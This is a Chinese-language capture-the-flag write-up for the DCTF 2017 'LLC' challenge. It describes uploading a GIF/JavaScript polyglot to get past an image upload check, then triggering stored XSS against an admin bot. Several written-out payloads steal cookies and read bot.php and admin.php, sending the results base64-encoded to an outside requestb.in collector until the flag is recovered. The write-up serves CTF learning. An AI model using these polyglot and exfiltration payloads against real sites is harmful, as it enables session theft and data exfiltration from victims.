Chybeta

DCTF 2017-DCTF LLC-writeup

文件上传+XSS

Task

1
https://llc.dctf-quals-17.def.camp/

Solution

有一个文件上传功能,允许上传jpg,png,gif文件,并且对上传文件的幻数进行了检查,仅仅修改上传的扩展名是没有用的。在完成上传后,会将上传的图片preview出来,也就是说我们知道上传的图片的具体位置。

还有一个发送message的功能,结合题目的信息,以及csp头,估计这题是要考察xss:

文件上传功能+XSS,可以参考一下这篇文章:File Upload XSS

所以思路如下:

  1. 上传一张包含xss-payload的gif,得到gif的地址。
  2. 构造message为
  3. 发送message,执行xss-payload。

尝试获取一下Cookie,构造gif的paylaod如下:

1
GIF89a/*.*/=0;window.location="https://requestb.in/1hw0wip1?cookie="+escape(document.cookie);

在message框里填上payload,gif的图像地址:

1
<script src="https://llc.dctf-quals-17.def.camp/__f6d24a42ddee7772707acf41c841d585/temp.gif"></script>

submit后可以看到接受到的请求:

得到的cookie是USERID%3D%3CSCRIPT%3Ealert%28%27XSS%27%29%3C/SCRIPT%3E,即USERID=<SCRIPT>alert('XSS')</SCRIPT>。没啥帮助。

观察到Referer: https://llc.dctf-quals-17.def.camp//bot.php?id=8472,存在一个bot.php,直接访问只发现它引入了jquery.js.min。利用gif的xss尝试读取:

1
GIF89a/*.*/=0;var ajax = new XMLHttpRequest();ajax.open("GET","bot.php",false);ajax.send();window.location="https://requestb.in/1hw0wip1?text="+btoa(ajax.responseText);

同样没有用。

通过扫描器,可以扫出一个 admin.php,构造gif:

1
GIF89a/*.*/=0;var ajax = new XMLHttpRequest();ajax.open("GET","admin.php",false);ajax.send();window.location="https://requestb.in/1hw0wip1?text="+btoa(ajax.responseText);


1
RENURns4MDhmNTBjYTNmMzE4MmEzMGU3NmJiOWZjYzBmZGNiN2Y3NWY0Y2U1OTdmN2FiZTE3OTNlMzk0MmFjZjNlYzllfQ==

base64解码后得到:

1
DCTF{808f50ca3f3182a30e76bb9fcc0fdcb7f75f4ce597f7abe1793e3942acf3ec9e}

考虑到bot.php有引入jquery。所以gif的xsspayload也可以如下:

1
GIF89a/*.*/=0;$.get("admin.php",function(data){window.location="https://requestb.in/1hw0wip1?text="+btoa(data);});

排版后的几段实际执行的payload:

1
window.location="https://requestb.in/1hw0wip1?cookie="+escape(document.cookie);

1
2
3
4
var ajax = new XMLHttpRequest();
ajax.open("GET","bot.php",false);
ajax.send();
window.location="https://requestb.in/1hw0wip1?text="+btoa(ajax.responseText)
1
2
3
$.get("admin.php",function(data){
window.location="https://requestb.in/1hw0wip1?text="+btoa(data);
});
微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:DCTF 2017-DCTF LLC-writeup

文章作者:chybeta

发布时间:2017年10月04日 - 08:10

最后更新:2017年10月04日 - 11:10

原始链接:http://chybeta.github.io/2017/10/04/DCTF-2017-DCTF-LLC-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。